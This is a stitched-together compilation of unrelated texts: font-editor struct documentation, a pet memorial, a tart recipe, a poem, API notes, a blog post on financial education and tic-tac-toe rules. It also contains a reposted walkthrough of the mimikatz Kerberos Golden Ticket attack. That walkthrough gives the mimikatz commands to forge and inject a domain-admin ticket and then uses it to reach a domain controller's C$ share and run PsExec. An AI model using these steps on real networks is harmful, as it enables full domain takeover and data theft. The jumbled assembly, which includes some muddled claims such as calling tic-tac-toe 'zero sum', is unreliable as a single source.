typedef struct splinechar { char *name; int enc, unicodeenc; int width; int16 lsidebearing; /* only used when reading in a type1 font */ int16 ttf_glyph; /* only used when writing out a ttf font */ SplinePointList *splines; Hints *hstem; /* hstem hints have a vertical offset but run horizontally */ Hints *vstem; /* vstem hints have a horizontal offset but run vertically */ RefChar *refs; struct charview *views; /* All CharViews that look at us */ struct splinefont *parent; unsigned int changed: 1; unsigned int changedsincelasthhinted: 1; unsigned int changedsincelastvhinted: 1; unsigned int manualhints: 1; unsigned int ticked: 1; /* For reference character processing */ unsigned int changed_since_autosave: 1; unsigned int widthset: 1; /* needed so an emspace char doesn't disappear */ struct splinecharlist { struct splinechar *sc; struct splinecharlist *next;} *dependents; /* The dependents list is a list of all characters which reference*/ /* the current character directly */ SplinePointList *backgroundsplines; ImageList *backimages; Undoes *undoes[2]; Undoes *redoes[2]; KernPair *kerns; uint8 *origtype1; /* The original type1 (unencoded) character string */ int origlen; /* its length. These get freed once the user has changed */ /* the character. Until then the preserve things like */ /* hint substitution which we wouldn't otherwise understand */ } SplineChar;
Every character has a name (sometimes it is ".notdef" but it's there). A location (encoding) in the current font, a unicode code point (which may be -1 if not in unicode). Every character has a width. The next two fields are only meaningful when loading or saving a font in the appropriate format. lbearing is needed to handle seac commands, and the ttf_glyph is needed for just about everything when writing a ttf font. The splines field gives all the foreground paths (SplinePointLists). Hints for horizontal and vertical stems. A set of other characters referenced in this one, again only in the foreground. Then a linked list of all CharViews displaying this SplineChar (if this guy changes, all must be updated to reflect the change). A pointer to the SplineFont that contains us. A set of bits: changed means the character has changed since the last save to disk, changedsincelasthhinted means that we need to run autohint on the horizontal stems, changedsincelastvhinted for vertical stems. Manual hints means the user has taken control of providing hints, and we should only run autohint if explicitly asked to. Ticked is a temporary field usually to avoid infinite loops of refered characters. changed_since_autosave indicates that the next time we update our autosave database we should write this character to it. Widthset means the user has changed the width. If we didn't have this bit we might think that an em space had nothing in it (instead of having an em-space in it).
If a SplineChar is refered to in another character, then when we change the original we must also update anything that refers to it (if we change A, we must also redisplay Agrave).
Then backgroundsplines represent the SplinePointLists in the background layer, and backimages represent the images in the background layers.
Undoes[0] contains undoes for the foreground and undoes[1] contains undoes for the background. Same for redoes.
Finally kerns provides a list of kerning data for any special characters that follow this one. For instance the combination "VA" might need kerning, then the SplineChar representing "V" would have a pointer to a KernPair with data on "A".
typedef struct splinefont { char *fontname, *fullname, *familyname, *weight; char *copyright; char *filename; char *version; double italicangle, upos, uwidth; int ascent, descent; int glyphcnt; SplineChar **glyphs; unsigned int changed: 1; unsigned int changed_since_autosave: 1; unsigned int display_antialias: 1; unsigned int dotlesswarn: 1; /* User warned that font doesn't have a dotless i character */ /*unsigned int wasbinary: 1;*/ struct fontview *fv; enum charset encoding_name; SplinePointList *gridsplines; Undoes *gundoes, *gredoes; BDFFont *bitmaps; char *origname; /* filename of font file (ie. if not an sfd) */ char *autosavename; int display_size; } SplineFont;
The first four names are taken straight out of PostScript, as are copyright, version, italicangle, underlinepos, underlineweight. Ascent and descent together sum to make the em-square. Normally this will be 1000, but you can change that if you want.
Charcnt says how big the chars array will be. There may be holes (ie. NULL values) in the array.
Changed indicates that some character, bitmap, metric, something has changed since we last saved the file. changed_since_autosave means that something has changed since autosave last happened (so we should actually process this font the next time autosave rolls around).
Display_antialias means we are displaying an antialias bytemap font in the FontView, rather than a bitmap font. These look better but are slower.
Dotlesswarn means that we've warned the user when s/he attempted to create an accented character based on i or j and a dotless version of those characters was not present in the font (there's no point in warning him again. The operation proceeded with a dotted version).
There is only one FontView associated with a font (other data structures allowed for multiple views, but the font does not).
The font has a characterset and an encoding.
Gridsplines contains the SplinePointLists for all the splines displayed as background grids for characters. And gundoes and gredoes are the un/redoes associated with them.
Bitmaps contains all the bitmaps that have been generated for this SplineFont.
Origname contains the name of the file we read in to get this one. Filename above contains the name of an .sfd file associated with this font, but origname can also contain random postscript or truetype fonts.
Autosavename indicates the name currently being used to save crash recovery stuff to disk.

From http://rycon.hu/papers/goldenticket.html
Introduction
We have a new feature again in mimikatz called Golden Ticket provided by Benjamin Delpy aka gentilkiwi. With this technique, we can basically access any resource in the domain.
Here is the list of what you need to make it work:
krbtgt user's NTLM hash (e.g. from a previous NTDS.DIT dump)
Domain name
Domain's SID
Username that we'd like to impersonate
As you can see, exploiting this architectural flaw is not trivial, because we need the NTLM hash of the krbtgt user and that requires hacking a Domain Controller first. But once that is done we can play with it for some time, because the hash of the krbtgt user will not change for a while.
As you know mimikatz can dump and replay the existing tickets on Windows, so when we got access to a server or workstation and dumped the tickets we can easily replay those on another computer and get access to the same resource. See Google for more info.
Attack
When we have everything from the list above, we can create a new TGT ticket with mimikatz and grant access to anything in the domain. Let's see an example:
First we look for a domain administrator:
C:\Users\evilhacker>net group "domain admins" /domain
Now let's get the Domain SID. Easiest way to do that is just use: "whoami /user" and remove the last part of the SID, or if we have PsTools then PsGetsid.exe come in handy:
C:\Users\evilhacker\Documents\mimikatz>PsGetsid.exe CTU.DOMAIN
Now we have everything to start the attack. First we list the existing Kerberos tickets, if there is any we can those with the purge command (but it is not necessary) and then we can create the Golden Ticket and pass that.
C:\Users\evilhacker\Documents\mimikatz>mimikatz.exe
mimikatz # kerberos::list
mimikatz # kerberos::purge
mimikatz # kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi
mimikatz # kerberos::ptt Administrator.kiribi
mimikatz # kerberos::list
mimikatz # kerberos::tgt
Now you can mount any share or use any RPC related tool that you like.
C:\Users\evilhacker\Documents\mimikatz>net use i: \\dc01.ctu.domain\c$
C:\Users\evilhacker\Documents\mimikatz>net use
New connections will be remembered.
OR
C:\Users\evilhacker\Documents\pstools>PsExec.exe \\dc01.ctu.domain\ cmd.exe
Some additional notes:
Password change on behalf of the user does not have any impact on the ticket, the access can be granted without the user's password (or hash)
Mimikatz does not support other user than a Domain Admin (it is hardcoded in the source), by the way I managed to impersonate a domain controller //with some malfunctions.
The TGT ticket is issued for 10 years and can be renewed for more 10 years
Existing sessions cannot be overridden. Already attached shares have to be detached first and reattached again.
Cached tickets sometimes cannot be purged so the computer has to be restarted (for example if there is a group policy that attaches different shares then those shares cannot be mounted as the impersonated user)
Mimikatz does not require SE_DEBUG or other privilege to create and pass TGT
Mitigation
A good mitigation how-to from CERT-EU: Protection from Kerberos Golden Ticket
Greetings
Thanks to Kristof Feiszt for support, Benjamin `gentilkiwi` Delpy for mimikatz ;)

Bubs Bubba Paco Simba
Bubs was brought into my life in September of 2001. He was a hyper little fella. He was as white as snow and could get lost during the winter storms. He was a fluffy pom. He was loved, treated like a king. He lived a long life, 15 years. He was spoiled, plentiful treats, beds and toys. But he always chose to sleep in front of the door. Like a guard dog, standing at 14lbs. Its like he never slept during the earlier years. But as time went on, all he could do was lay down. He had no strength to stand up and would plop down when he legs gave out.  Eventually we had to stop and give him some healthy dog food. For his birthdays he got plenty of doggy cupcakes and treats. Family dinners he got turkey and whatever he could eat. Yep. he was great. Always a smile on his face. Barking away at the walls when he sensed something wrong. Scratching at our bedroom doors for attention. Hiding in my room during the fourth of july. Yep it was great. My dearly beloved bubs.

Take bananas and custard to the next level with this simple, yet sophisticated tart from James Martin.
Lightly grease a 20cm/8in loose-bottomed tart tin
For the pastry, place the flour, sugar, butter and vanilla seeds in a bowl and rub together with your fingertips until the mixture resembles breadcrumbs (or pulse in a food processor).
Lightly beat the whole egg and pour it into the flour mixture. Stir the mixture together until it forms clumps, then bring together with your hands to form a dough. Wrap in clingfilm and rest in the fridge for 30 minutes.
Roll the pastry out to a 3mm/⅛in thickness and use it to line the tart tin, leaving any excess pastry hanging over the edge. Chill in the fridge for 10 minutes.
Preheat the oven to 180C/350F/Gas 4. Preheat a large baking tray.
Line the pastry case with greaseproof paper and fill with dried beans or rice.
Put the tin onto the preheated baking sheet and bake for eight minutes.
Remove the paper and beans and bake the pastry case for a further five minutes.
Beat the remaining egg yolk in a bowl.
Carefully trim off the overhanging pastry edge level with the top of the tin, then brush the inside of the case with the egg yolk.
Put the pastry case back into the oven for a further five minutes, then remove it from the oven and set aside to cool.
Reduce the oven to 170C/325F/Gas 3.
For the filling, arrange the banana slices in the bottom of the pastry case.
Beat the egg, eggs yolks, rum and sugar together in a bowl until well combined.
Heat the cream in a saucepan until boiling, then whisk the cream into the egg mixture until well combined.
Pour the custard into the pastry case and bake in the oven for 20 minutes, or until the custard is just set and the top is pale golden-brown.
Meanwhile, for the spiced sautéed bananas, melt the butter in a frying pan and fry the bananas for 1-2 minutes, or until just golden-brown. Carefully pour in the rum and flambé the liquid by slowly tilting the pan towards the gas flame, or light it with a match.  (Caution: keep your face and hair away from the flames. Do not leave unattended.)
Add the sugar, ground cinnamon and ground allspice and fry for another minute.
To serve, cut the tart into wedges, place onto serving plates and spoon some bananas and clotted cream alongside.


Word of the day : Parp.
Parp is a verb, pretty much identical to toot. Here is an illustrative sentence: In an apoplexy of rage, he parped his hooter. To act out this sentence, for example in a classroom full of tots, you will need a hooter. You should also smear your face with beetroot juice to give it that “purple with rage” look, and be able to boggle your eyes convincingly. Tomorrow we will consider the word Boggle.


Prosody
They asked me if the finger-counting's new
(Coordination abnormalities.)
or something that I tend to do—they're vague
and tentative in how they speak to you,
with softened eyes and breathy bedrock tones
—when anxious or when under feeling under stress.
The habit started late in life.
My fingers scan each syllable they read,
(Welcome to Psychiatric Services.)
write, overhear. Pentameters, spondees,
trochees, a spoken enjambment, a pause.
(More brochures are available up front.)
The counting's not relief. If the rhythm's not
quite right and rephrasing fails, the world
feels stuck until a sentence intercedes—
from radio or glancing in a book
—and then the pattern fits a waiting form.
You calm. When you're released you want to drive
the frontage road and count instead the stars
set deep within the sky's low darkened blue.

This is a list of pointers returned by a MemoryUsage object in response to some query.
Warning: once pointers are stored in a MemoryUsagePointers object, they are reference-counted, and will not be freed until the MemoryUsagePointers object is freed (or clear() is called on the object). However, they may not even be freed then; pointers may leak once they have been added to this structure. This is because we don't store enough information in this structure to correctly free the pointers that have been added. Since this is intended primarily as a debugging tool, this is not a major issue.
This class is just a user interface to talk about pointers stored in a MemoryUsage object. It doesn't even exist when compiled with NDEBUG.

Provides convenience functions to communicate with an Experigen server: Experigen (<http://github.com/aquincum/experigen>) is an online framework for creating linguistic experiments, and it stores the results on a dedicated server. This package can be used to retrieve the results from the server, and it is especially helpful with registered experiments, as authentication with the server has to happen.

In general, I suspect all members of the financial education market, from authors to radio talk show hosts and everyone in between. When I obtain financial independence, I don't plan on teaching anyone but my own friends and family. Why would anyone do otherwise except to fleece the public?
And then, having said that, I realize that every single book I've written, I wrote because I had a burning story to tell; I couldn't not write it. My motivation to write novels is grounded in my need to take my writing into a completely different direction w/o the requirement of generating an income stream. So it's likely that at least *some* of the folks in the financial education market are in it for love, but how can you tell which ones?
Further, it's not generally true that "them that know, don't tell." I know that I know how to write real software and how the technologies that form the topics of my writings and teachings really work, so at the very least, I'm the exception to that rule. However, there are an awful lot of exceptions, like all of my friends in the Windows developer education industry, so I reject the rule out of hand for at least a significant percentage of participants in any given field of education (certainly a significant percentage of them conform to the rule, of course, and those are likely to out number the ones that are the exception).
However, all of us in the Windows developer education industry make our living on education, not on the technology itself. We've chosen education because it's more lucrative then being a practitioner. (This may help explain why elementary school teachers choose their field: can you think of a place that they can make more money on basic readin', 'ritin' and 'rithmatic than as a teacher?)
So, if it's the case that education is more lucrative than practice, why should I buy someone's financial book, since they've obviously decided that selling me a book is more profitable than practicing what they're preaching. Further, the real-time markets have the built-in handicap that when a technique for really making money is widely put into use, the market adjusts for it, bringing the returns for that technique back in line with the market as a whole. If I discovered a new way to make real money, publishing how it works is the last thing that I want to do. Definitely, those kinds of books, like The Motley Fool's Investment Guide, are not what I want to put my trust into.
Things I find I can trust more are books that inspire me, like Rich Dad, Poor Dad, or change the way I look at things, like Fooled by Randomness, or help me to establish a foundation of knowledge, like Investing for Dummies or Learn to Earn. These are books that don't promise to make me rich (except the Rich Dad, Poor Dad books, but I've learned to discount that promise : ), but that help me align my brain cells so that I can take control of my own financial health.
So, all of this boils down to "Be a skeptic" from the Epilogue to Effective COM, furthering my belief that the ability to learn how one system works, e.g. COM, can be effectively translated into learning how another system works, e.g. investing. And so what's my motivation for this writing and others like it?  Writing something clarifies my thinking and posting it gets me access to, and feedback from, like-minded folks that can help clarify my thinking even more.


Game Instructions
Tic-tac-toe is a fun game that you can play any time and anywhere as long as you have a piece of paper, a pencil, and an opponent. Tic-tac-toe is a zero sum game, which means that if both players are playing their best, that neither player will win. However, if you learn how to play tic-tac-toe and master some simple strategies, then you'll be able to not only play, but to win the majority of the time.
In a Two player game you play against another person who is using the same computer as you. This means they must be sitting right next to you. Usually this is doen if you are having a party and are bored, or if you have smaller children you wish to teach how to play Tic Tac Toe.
The object of Tic Tac Toe is to get three in a row.  In our game the first player is known as O and the second is X. Players alternate placing Xs and Os on the game board until either opponent has three in a row or all nine squares are filled.
Hope you enjoy the game !!!
